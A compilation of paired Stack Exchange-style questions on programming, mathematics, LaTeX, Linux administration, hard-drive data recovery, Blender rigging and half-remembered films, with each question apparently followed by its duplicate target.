I am currently practicing OO javascript and came upon some different ways to create a Class of sorts in Javascript.  These are:  var Classname = function() {   var that = {     functionone: function(arg) {       return value;     },     functiontwo: function() {       return value;     }   };   return that; } var foo = ClassName();   And:  var ClassName = function() {   return this; }; ClassName.fn = ClassName.prototype = {   constructor: ClassName,   variables: values,   functionone: function(args) {     return value;   },   functiontwo: function() {     return value;   } }   I have used both in a small thing I was practicing with, but I used the latter for a local object storage, meaning it wasn't used to create new instances of itself, but just a single instance that would expand itself with new objects.  Is there a big difference between either and do they either both serve a specific purpose or is it better to use the first or second?  I'm sure this has been asked before, but I could not find something similar to this question of either a comparison and asking which would be preferrable.

Could you explain the difference between setting methods in the constructor and through prototype object? The following code shows these two ways of setting the methods - say_hello and say_bye both work fine:  function MessageClass() {   this.say_bye = function() { alert('see ya'); }; }  MessageClass.prototype.say_hello = function() { alert('hello'); };  x = new MessageClass(); x.say_hello(); x.say_bye();


Is it possible, under whatever circumstances for a user to have less than 1 reputation on a Stack Exchange site?

On Stack Exchange, users may gain a certain level of reputation.  What does reputation do? How can a user gain or lose reputation?   See also   in the Help Center  - Maximum amount of votes a user can use in a day and reputation requirements to vote.  - How to get an exact overview of the actions that got you your reputation.  - A full list of all privileges granted at each reputation level on all sites.


The output of uname -a is:  #1 SMP Debian 3.16.7-ckt11-1+deb8u3 (2015-08-04)  I failed to find any explanation for "u3" in the output so what does it mean?

I figured the "7u2" part stood for "Debian 7.2" (aka "wheezy"). But I'm wondering if anybody knows the official answer as to why some packages have it and others do not.  Example:   The only time "+deb7u2" is appended to the version is when the package gets put in the "stable" release. Does this mean that's a "tag" to indicate a checkin to stable from another repo?


I know that as we get further away from the charge or from the magnetic field source both magnetic field and electric field decreases ,so why don't electromagnetic waves get weaker as the travel further from the source?

From what I know, In electromagnetic waves, the components electric field and magnetic field generate each other i.e. magnetic field generated from moving electric charge generates another electric field and which also generates another magnetic field and so on thus, creating an electromagnetic field. So each of them gets weaker with distance which results in weaker EMF. Am I correct here?


I know that I can get the number of permutations of items in a list without repetition using   (n!)   How would I calculate the number of unique permutations when a given number of elements in n are repeated.  For example  ABCABD  I want the number of unique permutations of those 6 letters (using all 6 letters).

There are 11 letters in the word.   M - 1 I - 4 S - 4 P - 2  so the number of different permutations is $\dfrac{11!}{1! 4 !4!2!}$  Is this correct solution?


I have the following variables initialized to the user inputs,  int completedPasses = reader1.nextInt();  int attemptedPasses = reader2.nextInt();  double completionRatio = (250 / 3) * ((completedPasses / attemptedPasses) - 0.3);  How do I round the computation above to a double of one decimal place?

What I would like is a method to convert a double to a string which rounds using the half-up method - i.e. if the decimal to be rounded is 5, it always rounds up to the next number. This is the standard method of rounding most people expect in most situations.  I also would like only significant digits to be displayed - i.e. there should not be any trailing zeroes.  I know one method of doing this is to use the String.format method:  String.format("%.5g%n", 0.912385);   returns:  0.91239   which is great, however it always displays numbers with 5 decimal places even if they are not significant:   String.format("%.5g%n", 0.912300);   returns:  0.91230   Another method is to use the DecimalFormatter:  DecimalFormat df = new DecimalFormat("#.#####"); df.format(0.912385);   returns:  0.91238   However as you can see this uses half-even rounding. That is it will round down if the previous digit is even. What I'd like is this:  0.912385 -> 0.91239 0.912300 -> 0.9123   What is the best way to achieve this in Java?


I am new to latex, and saw a lot of other questions asking about this, but I could not find a way to fit my 5 column table in a page. \begin{table}[h] \centering \begin{tabularx}{\textwidth}{|c|c|c|c|c|}     \hline     Area of Interest & Pearson Correlation and p-value & Spearman correlation and p-value & Mean squared error (MSE) & $R^2$ Value\\     \hline     Buoy 44097 and satellite $H_s$ (0.25 dd) & (0.9872, 0.05$<$)  & (0.9663, 0.05$<$) & 0.1268 & 0.9683\\     \hline     Buoy 44097 and satellite $H_s$ (0.25- 0.5 dd) & (0.9795, 0.05$<$)  & (0.9641, 0.05$<$) & 0.1605 & 0.9586\\     \hline \end{tabularx} \caption{Correlation, $R^2$ Value, and MSE values between buoy 44097 and Saral/AltiKa Hs measurements.} \end{table}  I got this:

I have a table that I want to insert on a page, but at least one (perhaps both) of the following conditions are met:   The table is too wide to fit within the text block or page. That is, I'm exceeding some horizontal restriction. The table is too tall to fit within the text block or page. That is, I'm exceeding some vertical restriction.   What are my options to make this table fit? If it doesn't fit, regardless of my attempts, what other options exist?


Show, with the help of Fermat’s little theorem, that if $n$ is a positive integer, then $42$ divides $n^{7} − n$.  I don't really know how to show Fermat is about primes. I have a slightly idea about numbers $42-1$ and $7$, but no idea what to do with it. This is my exam practice question that prof. gave to me with no answer provided.

I can see that this works for any integer $n$, but I can't figure out why this works, or why the number $42$ has this property.


SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); try {       Date startDate = format.parse(prodPeakChargeFormList.get(1).getStartDate());       Date endDate = format.parse(prodPeakChargeFormList.get(1).getEndDate());       if (format.parse(prod.getEndDate()) >= startDate                && endDate >= format.parse(prod.getStartDate())) { } catch(Exception e){       e.printStackTrace(); }   >= cannot be applied to java.util.Date  how to compare date type in java?

I have a series of ranges with start dates and end dates. I want to check to see if a date is within that range.  Date.before() and Date.after() seem to be a little awkward to use. What I really need is something like this pseudocode:  boolean isWithinRange(Date testDate) {     return testDate >= startDate && testDate <= endDate; }   Not sure if it's relevant, but the dates I'm pulling from the database have timestamps.


Two hosts on the Today Show constantly say "John, good morning to you" when starting to speak with someone on air. The others usually stick with "John, good morning".  Adding the "to you" seems to double up on who they already directed the good morning to at the beginning.  It just sounds very weird.  Thanks!

I am not a native English speaker, the source of my learning is books, websites and of course movies and music. In the movie — if I remember the name correctly — The Last Samurai, I heard that they said "I bid you good morning".  Can I use it as a professional way to wish good morning or is it informal? Or did I just hear it wrong?


This is driving me nuts. Using matplotlib in python, I am drawing a simple plot (twenty pixels of different color) as follows: fig1, ax = plt.subplots() color_rgb_list = np.random.rand(n_colors, 3) ax.imshow(color_rgb_list[None, :], aspect='equal') for label in train_y:     ax.text(label - 1.5, 1, str(label)) plt.tight_layout() plt.show() # fig1.savefig("test.png", bbox_inches='tight')  However, the result I get has a lot of white space around it. I found out that I can use bbox_inches='tight' when actually saving the figure to a file, however that does not really help me, as instead I would like to remove the white spaces while drawing the actual image. (I am using this for an app, where I want to display several different plots in one window using tkinter with .pack())  How can I remove the white spaces when drawing/showing my plot? I would basically like to achieve the same thing that bbox_inches='tight' does, only when using plt.show(), or when drawing on canvas using tkinter. Thanks in advance.

How do you change the size of figure drawn with Matplotlib?


For example, in the past, links to www.example.com wouldn't have meant Google would pass any value to say, forum.example.com. What is the current status of this? (Please provide a reference if possible).

If I have example.com, and blog.example.com, do search engines see those as one site or two? Will using subdomains hurt SEO? I have some technical reasons why I can't use example.com/blog.


The following code should crash under "Manual reference count" since the objects inside the array are getting released twice. Why does it not crash?  NSMutableArray *array = [NSMutableArray array]; [array addObject:@"1"]; [array addObject:@"2"]; [array addObject:@"3"];   for (int i=array.count-1 ; i>= 0 ; i--) {     id object = [array objectAtIndex:i];     [object release];     [array removeObject:object]; }

I have the following example class:  Test.h:  @interface Test : UIButton {     NSString *value; } - (id)initWithValue:(NSString *)newValue; @property(copy) NSString *value;   Test.m:  @implementation Test @synthesize value; - (id)initWithValue:(NSString *)newValue {     [super init];        NSLog(@"before nil value has retain count of %d", [value retainCount]);     value = nil;     NSLog(@"on nil value has retain count of %d", [value retainCount]);     value = newValue;     NSLog(@"after init value has retain count of %d", [value retainCount]);     return self; }   Which produces the following output:  2008-12-31 09:31:41.755 Concentration[18604:20b] before nil value has retain count of 0 2008-12-31 09:31:41.756 Concentration[18604:20b] on nil value has retain count of 0 2008-12-31 09:31:41.757 Concentration[18604:20b] after init value has retain count of 2147483647   I am calling it like:  Test *test = [[Test alloc] initWithValue:@"some text"];   Shouldn't value have a retain count of 1?  What am I missing?    Thanks for your help.


So I'm trying to think of a movie I saw once when I was a kid. I don't know when the movie was originally published but I do know what it was about. The general plot was three boys come together and end up building a computer which allows them to go into space via some type of weird force field bubble. Thing I remember one boy had a father who worked with computers I think, and one boy said he never had dreams before. Does anybody know what movie I'm talking about?

I have this vague memory from when I was a kid of a movie that involved a few kids and one of them, somehow, creates a force-field in the shape of a bubble.  My memory is faint but I seem to remember they controlled the bubble with an Apple IIc computer (lol) and they could fly in space, around the world, etc.  I cannot remember anyone who actually stared in the movie and none of my searches are finding anything.  Thanks.


According to the Monster Manual, a variant Vampire spellcaster can cast the Mirror Image spell. If vampires aren't reflected in mirrors and other reflective surfaces would a mirror reveal reflections of just the magical mirror images or would it reflect nothing?

According to the Monster Manual a variant Vampire spell caster can cast the Mirror Image spell. If vampires aren't reflected in mirrors and other reflective surfaces how would the vampire know how his or her mirror image should look?


In Blender 2.91.0 I am trying to make a cube recess in another cube by using the 'boolean - Difference' function. For some reason blender doesn't take the second cube away cleanly from the first cube. It adds a new face to the front of the remaining cube (see attached pic). I use 'snap to' vertex to ensure the vertices are all aligned- but same problem occurred. I made the cube used to apply the difference a little larger to ensure it was outside the flat plane of the first cube, but same problem. I tried using new cubes, but problem still remains. I then tried a second cube bigger than the entire face of the first cube and applied 'difference' again, but the extra edge remained. I want to apply texture to the front surface but the extra face will make alignment difficult. Besides as far as I can see this shouldn't happen. Any suggestions?

So, I'm working on a control station that has buttons. It is a one-mesh creation, that means, I don't want to create buttons and things like that separated from the main mesh, but as you can see, I have problems. I would like to make the highlighted parts to be one with the main part around them. I've tried everything, and I have this problem on multiple creations. Any idea?  Update: I've added another example of the problem. I want them to be one face, instead of two. (2nd picture)


I need to back up all data and media on my phone but every time i connect it to pc everything is fine and my pc recongize the phone but not every time i need to plug and unplug phone several times to make pc recognize it .what ever when i open my phone storage it say folder is empty iam sure that using MTP not PTP my phone storage working on all computers except mine and all phones storages appear on my pc except my phone i have checked drivers and all working properaly . any help ?

When my phone MOTOROLA G3(2015) is updated to Marshmallow, its not showing files when connected to PC. While connecting, it shows options as charing only, PTP, MTP, MIDI. When I select MTP, it shows the external card, but not showing the contents, where as internal memory is detected and all files are shown.


I've experienced HDD failures a few times already... Usually, my system was first starting behaving strange, or was even becoming inoperational, then I was doing a full HDD scan, which was reporting a bunch of damaged sectors; so I was simply removing the misbehaving HDD from this laptop or PC, plugging it to another working laptop or PC via USB and copying whatever data could be salvaged... up to now I was always able to recover the vast majority of data from a failing HDD.  But this time, it's another story. My HDD started freaking clicking with no prior warnings in the middle of the work. The system froze and the laptop become unbootable - each time I power my laptop on the HDD starts clicking again. I can still boot my laptop from a Linux LiveUSB; but I cannot access this HDD from there. (by conventional means at least; not sure if there's any wizard way to do so)  I do backup my data - monthly. And...I did the last backup almost a month ago. Loosing a month of work is...well... not nice.  Is there any hope of recovering data from this HDD or should I just accept that this data is lost for good?  EDIT: This is crazy... but it just come to my mind... The HDD started clicking while I was operating Windows... Is it remotely possible that Windows decided to install updates in the background as it usually does - and so it installed some buggy HDD firmware updates - which killed the drive?

I have a dell laptop that recently "died" (It would get the blue screen of death upon starting) and the hard drive would make a weird cyclic clicking noises.  I wanted to see if I could use some tools on my linux machine to recover the data, so I plugged it into there.  If I run "fdisk" I get:  Disk /dev/sdb: 20.0 GB, 20003880960 bytes 64 heads, 32 sectors/track, 19077 cylinders Units = cylinders of 2048 * 512 = 1048576 bytes Disk identifier: 0x64651a0a  Disk /dev/sdb doesn't contain a valid partition table   Fine, the partition table is messed up.  However if I run "testdisk" in attempt to fix the table, it freezes at this point, making the same cyclical clicking noises:  Disk /dev/sdb - 20 GB / 18 GiB - CHS 19078 64 32 Analyse cylinder   158/19077: 00%   I don't really care about the hard drive working again, and just the data, so I ran "gpart" to figure out where the partitions used to be.  I got this:  dev(/dev/sdb) mss(512) chs(19077/64/32)(LBA) #s(39069696) size(19077mb)  * Warning: strange partition table magic 0x2A55. Primary partition(1)    type: 222(0xDE)(UNKNOWN)    size: 15mb #s(31429) s(63-31491)    chs:  (0/1/1)-(3/126/63)d (0/1/32)-(15/24/4)r    hex:  00 01 01 00 DE 7E 3F 03 3F 00 00 00 C5 7A 00 00  Primary partition(2)    type: 007(0x07)(OS/2 HPFS, NTFS, QNX or Advanced UNIX) (BOOT)    size: 19021mb #s(38956987) s(31492-38988478)    chs:  (4/0/1)-(895/126/63)d (15/24/5)-(19037/21/31)r    hex:  80 00 01 04 07 7E FF 7F 04 7B 00 00 BB 6F 52 02   So I tried to mount just to the old NTFS partition, but got an error:  sudo mount -o loop,ro,offset=16123904 -t ntfs /dev/sdb /mnt/usb NTFS signature is missing.   Ugh.  Okay.  But then I tried to get a raw data dump by running  dd if=/dev/sdb of=/home/erik/brokenhd skip=31492 count=38956987    But the file got up to 59885568 bytes, and made the same cyclical clicking noises.  Obviously there is a bad sector, but I don't know what to do about it!  The data is still there... if I view that 57MB file in textpad... I can see raw data from files.  How can I get my data back?  Thanks for any suggestions,  Solution:  I was able to recover about 90% of my data:   Froze harddrive in freezer Used Ddrescue to make a copy of the drive Since Ddrescue wasn't able to get enough of my drive to use testdisk to recover my partitions/file system, I ended up using photorec to recover most of my files


Can every finite index subgroup of $\mathbb{Z}\times\mathbb{Z}$ be generated by $n\cdot e_1,m\cdot e_2$ for some integers $n,m$ and some choice of generators $e_1,e_2$ of $\mathbb{Z}\times\mathbb{Z}$?

Find all subgroups of $\mathbb{Z}\times\mathbb{Z}$.   I can find all the infinite subgroups of the form $n\mathbb{Z}\times m\mathbb{Z}$, where $n,m$ run over $\mathbb{Z}$. But I don't know how to write out all the finite subgroups in a uniform expression.  Any suggestions? Thanks in advance.


I am trying to execute this code:   sudo apt-get install g++ build-essential autoconf automake automake1.9 cmake doxygen bison flex libncurses5-dev libsdl1.2-dev libreadline-dev libusb-dev texinfo libgmp3-dev libmpfr-dev libelf-dev libmpc-dev libfreetype6-dev zlib1g-dev libtool libtool-bin subversion git tcl unzip    However I get this problem:   Package automake is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source  E: Package 'automake' has no installation candidate E: Unable to locate package automake1.9 E: Couldn't find any package by glob 'automake1.9' E: Couldn't find any package by regex 'automake1.9' E: Unable to locate package doxygen E: Unable to locate package libsdl1.2-dev E: Couldn't find any package by glob 'libsdl1.2-dev' E: Couldn't find any package by regex 'libsdl1.2-dev' E: Unable to locate package libgmp3-dev E: Unable to locate package libmpfr-dev E: Unable to locate package libelf-dev E: Unable to locate package libmpc-dev E: Unable to locate package libtool-bin   I have tried to use sudo apt-get update but I still get this error! Any idea?  The output of grep "^deb" /etc/apt/sources.list is:  deb http://old-releases.ubuntu.com/ubuntu/ xenial main restricted multiverse deb http://old-releases.ubuntu.com/ubuntu/ xenial-updates main restricted multiverse deb http://old-releases.ubuntu.com/ubuntu/ xenial universe deb http://old-releases.ubuntu.com/ubuntu/ xenial-updates universe deb http://old-releases.ubuntu.com/ubuntu/ xenial-backports main restricted universe multiverse deb http://old-releases.ubuntu.com/ubuntu trusty-security main restricted multiverse deb http://old-releases.ubuntu.com/ubuntu trusty-security universe deb http://archive.panda3d.org/ubuntu xenial main deb-src http://archive.panda3d.org/ubuntu xenial main deb http://archive.canonical.com/ xenial partner deb http://archive.ubuntu.com/ubuntu xenial universe main restricted multiverse

There are now errors when updating and I cannot install most software due to a corrupted  /etc/apt/sources.list   file. Is there a copy I can download to replace it?  The file would be for Ubuntu 12.04 (Final Beta) in the United States.


Suppose $|G|=p^n$. Then $G$ has a normal subgroup of order $p^m$ for every $0\le m\le n$.   By induction. It is clearly true for $n=0$. Now suppose $k<n$ and $H_i$ is a normal subgroup of $G$ of order $p^i$ for $i=0,...,k$.  I read in another thread that if we consider $Z(G/H_k)\neq 1$ and the Cauchy's theorem, this will provide us a group of order $p^{k+1}$. I don't see why yet.  By that theorem there exists $gH_k\in Z(G/H_k)$ with order $p$. How can we construct a group of order $p^{k+1}$ from here?  Thank you.

This is problem 3 from Hungerford's section about the Sylow theorems.  I have already read hints saying to use induction and that $p$-groups always have non-trivial centres, but I'm still confused. This is what I have so far:  Suppose $|G| = p^n$. For $k = 0$, $\{e\}$ is a normal subgroup of order $p^0$. Suppose $N_1, ..., N_k$ are normal subgroups of $G$ with orders as described (ie. $|N_i| = p^i$) and $k < n$.  $G/N_k$ is a $p$-group, so it has a non-trivial centre $C(G/N_k)$. $\pi^{-1}(C(G/N_k))$ is a subgroup of $G$, where $\pi : G \to G/N_k$ is the quotient map. It is normal in $G$ because $\pi$ is a homomorphism and $C(G/N_k)$ is a normal subgroup of $G/N_k$.  I know it contains $N_k$ and some stuff not in $N_k$, so it has to have order at least $p^{k+1}$, but I do not know how to argue it must be equal, or indeed if it even is equal.


I have the same apple id on two devices can i delete one app on one device without deleting it on the other device. There are lots of apps which I would like to have and lots of apps which I wouldn't like to have. Also like games with levels etc. do you start from THAT level or from the beginning? E.G simsfreeplay I use icloud to back up this game can I download it on another device (same app) but with the same id?!

To date I have had an Apple ID tied to my personal email address. It uses my personal paypal account for the purchases, and currently it has a credit balance thanks to some Christmas iTunes gift cards.  With the App Store recently being released, I'd like to buy an OS X app for business purposes. I don't want to use the credit balance on my personal Apple ID account, so I was thinking about creating a new Apple ID just for when I buy apps that I use for business. This way I could have the business Apple ID tied to my business paypal account.  However, I'm concerned that there might be some gotchas with using two different Apple IDs on the same MacBook by the same user. Before I just try this blindly, does anyone have any experience or know of any gotchas?


Exercise: Find the matrix of the derivative operation $D$ related to the base $\{1, t, t^2,..., t^n\}$ $$D: \mathcal P_{n} \to \mathcal P_{n}$$ I found a possible solution to this exercise, given that $D(t^k)=kt^{k-1}$ $$ \begin{equation*} D_{n+1,n+1} =  \begin{pmatrix} 0 & 1 & 0 & \cdots & 0 \\ 0 & 0 & 2 & \cdots & 0 \\ \vdots  & \vdots  & \vdots &\ddots & \vdots  \\ 0 & 0 & 0 &\cdots & n \\  0 & 0 & 0 &\cdots & 0 \\ \end{pmatrix} \end{equation*}$$Nevertheless, it doesn't convince me at all, because when multiplying the matrix with the vectors in $\mathcal P_{n}$, the exponent remains the same. Is this solution correct?

How do you write a differential operator as a matrix? I'm very confused. Could someone please use examples to help me understand? Preferably with first and second-order linear differentiation.


This could be a trivial question, I've seen several different variations of Cast.     What is the difference? Is one better than another (Performance)? Is it just a matter of preference, code legibility?   Example One:  command.ExecuteScalar() as string;   Example Two:  (string)command.ExecuteScalar();   Both will impact the ExecuteScalar() differently, so the question is when interacting with the database is one more ideal than another?

Consider the following code:  void Handler(object o, EventArgs e) {    // I swear o is a string    string s = (string)o; // 1    //-OR-    string s = o as string; // 2    // -OR-    string s = o.ToString(); // 3 }   What is the difference between the three types of casting (okay, the 3rd one is not a casting, but you get the intent). Which one should be preferred?


I'm trying to prove that any subset of a noetherian topological space is noetherian in its induced topology.  MY ATTEMPT OF SOLUTION  Let $X$ be a topological space and $Y$ a subspace of $X$. If $F=\{U_i\cap Y\}$ is a family of open subsets of $Y$, where the $U_i$ are open subsets of $X$, can I say that $M\cap Y$ is a maximal element of $F$, where $M$ is a maximal element of the $U_i$'s? If don't, I don't know how to solve this question.  I really need help.  Thanks in advance.

I see this everywhere, but cannot find a proof of it. Is it just this easy; it feels wrong.  Suppose $X$ is noet and $Y\subset X$ with subspace topology. If $Y$ has a descending chain of closed sets $Y_1 \supset Y_2 \supset Y_3 \supset \ldots$, where each $Y_i$ is formed by intersection some closed set in $X$ with $Y$. That is $(X_1\cap Y)\supset (X_2\cap Y) \supset \ldots$ but I can't seem to finish this because it is not as if I can just remove the intersections with $Y$ right?


I cannot type my password as shown below. After successfully unlocking root account in Ubuntu 12.04 LTS.  saintmichael@ubuntu:~$ sudo  usage: sudo [-D level] -h | -K | -k | -V usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user             name|#uid] usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user             name] [-u user name|#uid] [-g groupname|#gid] [command] usage: sudo [-AbEHknPS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u             user name|#uid] [-g groupname|#gid] [VAR=value] [-i|-s] [<command>] usage: sudo -e [-AknS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u             user name|#uid] file ... saintmichael@ubuntu:~$ sudo ./sophos-av/install.sh [sudo] password for saintmichael:

When I'm about to install a program in the terminal it wants the password:  [sudo] password for xxx:   But when I start to type my password nothing happens. What should I do?


Does anyone know a SF TV short story in which there were blue men who helped "stage" our world- at least the parts we saw, on a minute by minute basis.  So, at each minute, everyone would be in the "world" that was built for that minute, then they would go on to the next "minute world".  The blue men were in the future minutes building most of reality, but only the parts that would be looked at at that minute (to save work, I think - why build something that will not every be "used")  And they were in the past tearing down all the previously lived minutes.  It was kind of a behind the scenes look at why when you set your keys down and come back to them, they aren't there. Then you look again a few minutes later and they are there. The reason in the show was that the blue men building that minute forgot to include your keys, but the next group got it right.  Years later, my wife and I still refer back to that show, so I would like to find out what it was and see if I can find a copy somewhere.  .

I'm trying to find an episode from what I think is a sci-fi TV series produced sometime in the 80s or 90s.  In the episode, a man and another character(s) finds himself stuck in the interval between two seconds.  In that interval, he witnesses a crew of workers whose job it is to destroy the "old" second (everything in it; house, yard, the rest of the world) and build a near duplicate of the upcoming second.  The man is discovered by this "time construction crew" and is told that since he's seen the truth about this in-between time world, he can never return to his time.  He will simply disappear.  He manages to hide at the last minute and the time crew has run out of time to catch him.  The "real" world catches up as the next "second" ticks into place.  I thought this might have been an Amazing Stories episode but upon reviewing summaries of those two seasons, I don't think I saw it there.  Does anyone know this episode and series? There were other good episodes in this Twilight Zone-like series.


I have a TreeMap with the key being a string and the value a pair, type (Integer, String) and I need my treeMap to be ordered by the key of the Pair. I haven't worked with Pairs much and am curious the best way to do this.   I am having a hard time creating a TreeMap comparator for the pair. I am currently adding the pair to the Map upon my add function. Do I need to create a subclass for the Pair itself and use a comparator within the subclass or can I just access the Pair within a treeMap class via comparator. This is what I am trying to add a comparator to.  private final TreeMap<String, Pair<Integer, String>> cacheFiles; public Cache(int size) {     this.cacheFiles = new TreeMap<String, Pair<Integer, String>>();     this.size = size;     this.currSize =0; } public void add(String fname, int cost, String contents) {     if (!cacheFiles.containsKey(fname)) {         updateSize(cost);         cacheFiles.put(fname, new Pair<Integer, String>(cost, contents));     }   I need my TreeMap ordered by "cost" so that when I remove the firstEntry or lastEntry it is removing the largest cost or the smallest as I cannot keep track of a key for every Map entry that may have to be removed at a given point.   This is sorta what I've been trying...Yet the editor does not like it whenever I try to use comparator of Pair.   Thanks for any help!      public Cache(int size) {     this.cacheFiles = new TreeMap<String, Pair<Integer, String>>(new Comparator<Pair>() {         public int compare(Pair<Integer, String> p1, Pair<Integer, String> p2) {             return o1.getKey().compareTo(o2.getKey());         }         });     this.size = size;     this.currSize =0; }

I am relatively new to Java, and often find that I need to sort a Map<Key, Value> on the values.  Since the values are not unique, I find myself converting the keySet into an array, and sorting that array through array sort with a custom comparator that sorts on the value associated with the key.  Is there an easier way?


I have the following LaTeX code for two tables: \begin{table}[h]     \scriptsize     \centering     \begin{tabular}{c|c}        \textbf{Brand} & \textbf{Customer Engagement Average}   \\ \hline      Apple & 1,937,852.45  \\       Huawei & 156,962.065  \\       Samsung & 174,166.98  \\                  \end{tabular}     \caption{Average Brand Customer Engagement}     \label{brand_ce} %\end{table}  %\begin{table}[h]     \scriptsize     \centering     \begin{tabular}{c|c}        \textbf{Brand} & \textbf{Customer Satisfaction Score Average}   \\ \hline      Apple & 3.37  \\       Huawei & 4.049  \\       Samsung & 3.76  \\                  \end{tabular}     \caption{Average Brand Customer Satisfaction Score}     \label{brand_sscore} \end{table}  Those tables are on top of each other as the following figure:  I need to to put those tables side by side.

Suppose I have two tables that don't have many columns (3, for example). How can I position them side by side?


My boss gave me a task with the completion date 31 March, 2016. I completed the task on 28 February, 2017.   He can label my work in one of six ways:   Achieved before time Achieved in time Achieved after target date Not achieved Will be achieved in time Will not be achieved in time.   Which is the appropriate answer from the above six?

My boss gave me a task with completion date suppose 31 March, 2017and I completed on 28 February, 2017. Is it in time or before time.


I know this is such a basic question and its embarrassing to ask but I just don't understand why Rudin concludes such a thing. In theorem 3.2 (a) he proves that if two sequences converge to different limits then the limits are actually the same as follow:  $$ \epsilon > 0 $$ $$ n \geq N \implies d(p_n,p) < \frac{\epsilon}{2}$$ $$ n \geq N' \implies d(p_n,p') < \frac{\epsilon}{2}$$ let $n = \max(N,N')$: $$ d(p,p') \leq d(p,p_n) + d(p_n,p') < \epsilon $$  everything so far made sense. The last step of the proof is what I don't understand:     since $\epsilon$ arbitrary, we conclude that $d(p,p') = 0$   thats the part that I don't understand. The proof started assuming that $ \epsilon > 0$ so of course the proof didn't conclude by plugging in zero. In chapter 2 there was such a big emphasis that the points in the neighborhoods to the limit points are different from the limit point. See this proof I'd conclude there is always a positive difference between p and p' but its never exactly zero (just like in chapter 2 and limit points).   Of course I assume I am wrong and there some subtle but important point that I don't understand and wanted to clarify it. Can someone clarify why my assertion that the difference is always positive (of course by assumption) is wrong? If anything I'd conclude that $p$ and $p'$ are limits of each other but not that they are the same as Rudin concludes or that their distance is zero. What did I miss?    note: I do know limit points and limits aren't the same, was just saying that to provide context for my confusion.

I'm having trouble understanding why the arbitrariness of $\epsilon$ allows us to conclude that $d(p,p')<0$. It seems we could likely conclude a value such as $\frac {\epsilon}{100}$ couldn't we?? The other idea that would normally work is the limit (as $n$ approaches $\infty$, $p$ approaches $p'$) but that would mean we are further in another sequence which would have same problem Thanks in advance   $\ $  $\ $  $\ $   Definition of Convergence     A sequence $\{ p_n \}$ in a metric space $X$ is said to converge if there us a point $p \in X$ with the following property: For every $ \epsilon>0$ there is an integer $N$ such that $n \ge N$ implies distance function $d(p_n, p) < \epsilon.$


I am looking for a Tex equivalent to , which is for HTML, CSS, and Java. Here, you put the code, and run, getting the output in screen. More importantly, you can share it with a self generated link, without need of subscription, logging in, registering, etc. This is very popular in www.stackoverflow.com, as you can easily share a code, and others can use it. .  Instead, here in TeX, what we do is to share a MWE, which then we can paste into our offline Tex editor (or maybe online if you fancy).  Is there such an equivalent to Jsfiddle for Tex?   Notice that I went through all the options listed in the relatively similar questions, like  or .  Options like , , , , , , which do not require to sign-up, do not allow to share the output online.

I have heard rumors that you can compile documents online, and more specifically that Google has a free online compiler, but I have never been able to find any. Is there a way to compile documents online, so that I can write and compile documents even if I don't have a TeX distribution installed on my computer?


My father-in-law was in the Latvian army then conscripted into the German army. We believe he was captured by American forces in either North Africa or Italy and brought to the US.  He was in a camp along the East Coast or New England area.  I have contacted both WASt and ICRC who have no records on him.  Where do I look next to find out where he was held and when he was repatriated?

Where can I find information on German soldiers from World War I and World War II?   I am curious to find out about my ancestors' role in the wars, i.e. what rank they had, where they where fighting, with whom and anything else.


Which of the following will give a remainder of $1$ ?  $1$. $2^{100}$ divided by $7$  $2$. $2^{110}$ divided by $11$  $3$. $3^{140}$ divided by $11$  $4$. $12^{112}$ divided by $113$  Could someone tell me the approach to solve this question other than binomial theorem?

How do I efficiently compute $a^b\bmod c$:  When $b$ is huge, for instance $5^{844325}\bmod 21$? When $b$ is less than $c$ but it would still be a lot of work to multiply $a$ by itself $b$ times, for instance $5^{69}\bmod 101$? When $(a,c)\ne1$, for instance $6^{103}\bmod 14$?  Are there any other tricks for evaluating exponents in modular arithmetic?  This is being asked in an effort to cut down on duplicates, see  and .


Consider the Group U(55) under multiplication modulo 55. Let x∈U(55) be such that x.x=26 and x>30. Then find the value of x.   Now I want to know that if the above question can be represented in congruence equation. If yes then please tell me how it would be done and recommend a book or something from which I can learn and practice such questions.

I understand what the Chinese remainder theorem is. However I am not sure how to apply it to my question. Can someone explain please?


Note: I put my object names in "". I need to rig this reciprocating compressor such, that rotating the "Rotary Base" at its center, should pull the "Rotary Shaft" at the "Pivot" (which is a child of "Rotary Base"). I achieved this by applying a Copy Location object constraint on the Rotary Shaft and setting the target to "Pivot".  Now I need to lock the movement of the "Piston Shaft" on the X-axis, as it should go in and out of the "Cylinder". How can I somehow link the right-end of the "Rotary Shaft" to the left-end of the "Piston Shaft" while maintaining the "Rotary Shaft" movement with the "Rotary Base"(basically, the right-end of the "Rotary Shaft" should be locked on the X-axis while the left should be able to move.)? I am open to other workflows (armatures included), so please. The file I included, only has the models. The constraints and stuff I removed.

I've only done a very little animation and rigging before, and I keep getting stuck trying to rig the pistons and rotor of the Stirling engine I built.     What should happen is that one piston moves in as the other moves out, and through the attached arms, the rotor should spin. Animating the rotor and the piston heads was easy enough, but getting the arms that go from the piston heads to the end of the shaft arm to move right endlessly confuses me.   Each end of each arm moves differently over the course of a cycle. With animating, I can't figure out how to interpolate so the arms stay where they should.  With armatures, I have tried for a while, but keep getting stuck when it comes to how to have one end of a bone moving in a circle while the other end is moving in a straight line.  Edit: The answer below elegantly resolved my problem, so i've updated this with the finished .blend file in case it's useful someone else.   Here is the .blend file:


Skype For Business 16.2.145 automatically starts and sign's in when my machine starts.  The usual solutions for Skype don't work for Skype for Business. I cannot change this setting in the dock or in the app's preferences.  How do I change this setting?

After installing skype it will always start whenever I login.  I'd rather it didn't do that.  How do I stop Skype from automatically starting?


I was working on this problem and I think I was able to get the correct Taylor series representation but I'm struggling with the number of error terms. I need an inequality that gives the number of terms that must be taken in order to yield ln(4)with error terms less than $2^{-10}$. For the series I got $$f(x) = \ln(2) + \frac{x-1}{2} + \sum_{n=2}^{\infty} \frac{-1^{n+1}(n-1)!}{2^n}(x-1)^n.$$ For the remainder inequality I'm getting $\frac{3^{n+1}}{(n+1)!} < \frac{1}{2^{-10}}$ but when plugging this into a calculator it states that $n < -1$ which clearly doesn't make sense. Can someone help with the error term ?

